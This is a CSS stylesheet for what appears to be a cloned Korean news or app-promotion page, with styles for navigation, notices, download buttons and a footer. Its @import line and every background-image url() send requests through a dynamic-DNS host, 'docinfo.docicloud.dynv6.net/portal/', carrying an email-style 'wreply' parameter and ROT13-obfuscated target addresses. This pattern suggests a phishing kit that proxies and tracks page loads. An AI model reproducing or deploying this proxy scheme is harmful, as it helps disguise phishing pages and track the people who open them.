@charset "utf-8";
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Srneylnpprff%2Sabgbfnafxe.pff);
* {margin:0; padding:0; font-family:Noto Sans KR; }
wrap { display: block; overflow: hidden; *min-width: 365px;}

/* Navigation */
#fixedbar {display: none; position: fixed; top: 0; width: 100%; height: 80px; background: #fff; border-bottom: 2px solid #02aa5c; box-sizing: border-box; overflow:hidden}
#fixednav {display: block; list-style: none; overflow: hidden; float:right}
#fixednav li {float: left;}
#fixednav li a {display: block; font-size: 18px; color: #000; line-height: 80px; text-decoration: none; -webkit-transition: all 0.2s linear; -moz-transition: all 0.2s linear; transition: all 0.2s linear; padding: 0px 10px; }
#fixednav li a:hover {color: #ffffff; background: rgba(0, 0, 0, 0.62);}
#arrowDown {width: 15px; margin-top: 8px; margin-right: 5px}

ul#subMenu {list-style:none}
ul#subMenu li {float:left; margin:0 20px}
ul#subMenu li a {color: #000; text-decoration:none;font-size: 18px;}
ul#subMenu li a:hover {color: #ff5722;}
navigation {width: 100%; background:#fff; height: 80px; display: block; overflow:hidden}
topNavi, bottNavi {float: left}
bottNavi {width:100%; height:80px; color:#000}
bottNavi #topTitle {padding: 22px 0; display: block; overflow: hidden; float: left; color: #000; font-size: 22px;margin-left: -20px;}
bottNavi #topTitle #newIcon {display: block; padding: 6px 10px; font-size: 14px; background: #FF5722; color: #fff; float: right; border-radius: 20px;}


.content {width: 977px; position: relative; margin: auto; overflow: hidden; color: #3f51b5;}
.content .info {font-weight: normal;}
.content .info dl {margin: 30px 0;display: block;}
.content .info dl dt {color: #000; padding:8px; display: block}
.content .info dl dd {background-color: #fff; padding: 10px;display: block}
.content .end {float: none; width: auto; margin-left: 0}
.content .info  h2 {margin: 15px 0;}
.content .info p {font-size: 18px; line-height: 28px; color: #7e7e7e;}
.content .devices {float: right; margin: 32px 0;}


.kt {float: left; margin: 20px 0 0 10px;}
.kt img {width: 80%;}
.note a {text-decoration:none; color: #0088CC; padding: 0.5em 1em 0.7em; border: 1px solid rgba(0,0,0,0.08); margin: 30px; background-color: rgba(0,0,0,0.03); border-radius: 3.5px; display: block;  font-size: 16px; line-height: 1.6; letter-spacing: 1px; display: block;}


/* Section */
section {width: 100%; }
#notice {background-color: rgb(43, 80, 167); border-bottom:1px solid #E7E7E7; padding-bottom: 40px;}
#notice h2 {color: #fff; border-radius: 20px; background-color: rgba(175, 175, 175, 0.57); text-align: center; padding: 5px 0; font-weight: inherit; font-size: 18px;}
#notice p {color: #fff; text-align: left;word-wrap: break-word;}
#notice ul {font-size: 15px; color: #fff; text-align: left; *padding: 0 30px; line-height: 22px; margin-top: 10px; margin-left: 140px;}
#notice ul li {margin-top: 10px}
#notice ul.process {margin: 0; margin: 10px 0;}
#notice ul.process li {list-style: none; text-align: center; border: 1px solid #fff; color: #fff; padding: 5px; display: block; overflow: hidden; margin-top: 3px; width: 450px;}

#question {background-color: rgb(239, 239, 239);padding-top: 40px;}
.anchor {display: block; position: absolute; width: 0; height: 0; z-index: -1; top: -40px; left: 0; visibility: hidden;}
#downLoad {display: none}
#downIcon {display: block; background:#fff; text-align: center;}
#downIcon ul {list-style:none; margin:0 auto; width:500px}
#downIcon ul li {float : left; margin: 40px 30px 30px 0}
#downIcon .appstore {display: block; background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: -48px 0px; width: 215px; height: 64px;}
#downIcon .gplay {display: block; background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: -272px 0px; width: 215px; height: 64px;}


/* Footer */
footer {background-color: #444; padding: 46px 0 5px; width: 100%; z-index: 6;  position: relative; height: 250px;}
footer h3 {font-size: 14px; color: #fff; margin-bottom: 10px; font-weight:normal}
footer .container {width: 977px; margin: 0 auto; position: relative;}
footer .footer-nav {float: left;}
footer .footer-nav ul {padding-left: 0; width: 160px; margin-right: 20px;}
footer .footer-nav li {list-style:none}
footer .footer-nav a {text-decoration: none; color: #eaeaea; font-size: 14px;}
footer .call-outs {float: right;}
footer .social .clearfix {list-style:none}
footer .social li {float: left; margin-right: 7px;}
footer .social li a {display: block;}
footer .social li.facebook a {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: 0px -70px; width: 31px; height: 31px;}
footer .social li.twitter a {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; width: 31px; height: 31px;}
footer .social li.instagram a {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: 0px -34px; width: 31px; height: 31px;}
footer .social li.blog a {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: 0px -104px; width: 31px; height: 31px;}
footer .social li.post a {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat); background-color: transparent; background-repeat: no-repeat; background-position: 0px -139px; width: 31px; height: 31px;}
footer nav {padding-bottom: 30px; border-bottom: 1px solid #777;}
footer .col, .clearfix, .container {display: block;}
footer .col:after, .clearfix:after, .container:after {content: ''; height: 0; overflow: hidden; display: block; clear: both;}
footer .copyright {color: #888; font-weight: bold; font-size: 10px; padding: 20px 0; text-align: center;}
.tol_top {position: fixed; overflow: hidden; width: 40px; height: 34px; margin: 10px 0; color: transparent; font-family: HelveticaNeue,sans-serif; font-size: 12px; white-space: nowrap; line-height: 12px; text-align: center; vertical-align: top; right: 10px; bottom: 10px;}
.tol_top, .tol_top:after {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfreivpr.xberngvzrf.pbz%2Scebzbgvba%2SnccArjfreivpr%2Svzntrf%2Sarj-nffrgf.cat) no-repeat;background-position: -56px -107px;}
.tol_top .sprh {display: block; margin: 9px auto 1px;}
.sprh_toltop {width: 16px; height: 18px; background-position: -56px -107px;}


@media (min-width: 978px) {
#fixednav li:nth-child(4) {display:none}
ul#subMenu li:nth-child(4) {display:none}
}

@media (max-width: 977px) {
navigation {width: 100%}
bottNavi {width:100%;}
bottNavi #topTitle {padding: 28px 30px; font-size: 14px;line-height: 28px;}
bottNavi #topTitle #newIcon {*margin-top:-2px; padding: 3px 5px; line-height:initial; margin-left: 4px;}
section {width: 100%;}
#notice {height: auto}
#notice h2 {margin: 20px 10px;font-size: 14px;}
#notice ul {margin-left: inherit; font-size: 11px; line-height: 16px}
#notice ul.process li {width: inherit; font-size: 12px;}
#downIcon {display: none}

#subMenu {display:none}
.content {width: 100%;}
.content .info {float: none; margin: 0 10px 0 15px; width:auto; margin-bottom: 10px;}
.content .info p {line-height: 24px; font-size: 12px; width: auto; *padding: 0 10px; text-align:left}
.content .info  h2 {font-size: 16px}
.content .info dl {font-size : 12px}
.content .devices {float: none; margin:auto; width:40%}

	
.appIcon {float: left; margin:0; margin-left: -15px;}
.appIcon img {width:50%}
.kt {float: left; margin: 30px 0 0 28px;}
.kt img {width: 100px}

footer {height: auto;}
footer .container {max-width: 90%;}
footer .footer-nav {width: 33.33%; clear: right;}
footer .footer-nav ul {width: 100%; margin: 0;}
footer nav {padding-left: 1em; padding-right: 1em;}
footer .call-outs {float: left; margin-top: 2em; clear: both;}
}


@media (max-width: 770px) {
#fixednav {float: none; width: 100%;}
#fixednav li {padding: 0; text-align: center;}
#fixednav li:nth-child(1) {width:50%;}
#fixednav li:nth-child(2) {width:50%; border-left: 1px solid rgba(238, 238, 238, 0.42); box-sizing: border-box;}
#fixednav li:nth-child(3) {width:34%; border-left: 1px solid rgba(238, 238, 238, 0.42); box-sizing: border-box;}
#fixednav li img#arrowDown {float: none;}

#downLoad {display: block;width: 100%;}
#downLoad a {display: block; font-size:1.5em; background:#FF5053; color:#fff; text-align: center; text-decoration: none; padding: 1em;}
.parallax_image {display:none}
.note a {margin:30px 10px}
}


@media (max-width: 640px) {
#fixednav li {padding: 0;}
#fixednav li a {font-size: 14px; font-weight:normal}
.content .devices {float: none; margin:auto; width:90%}			
}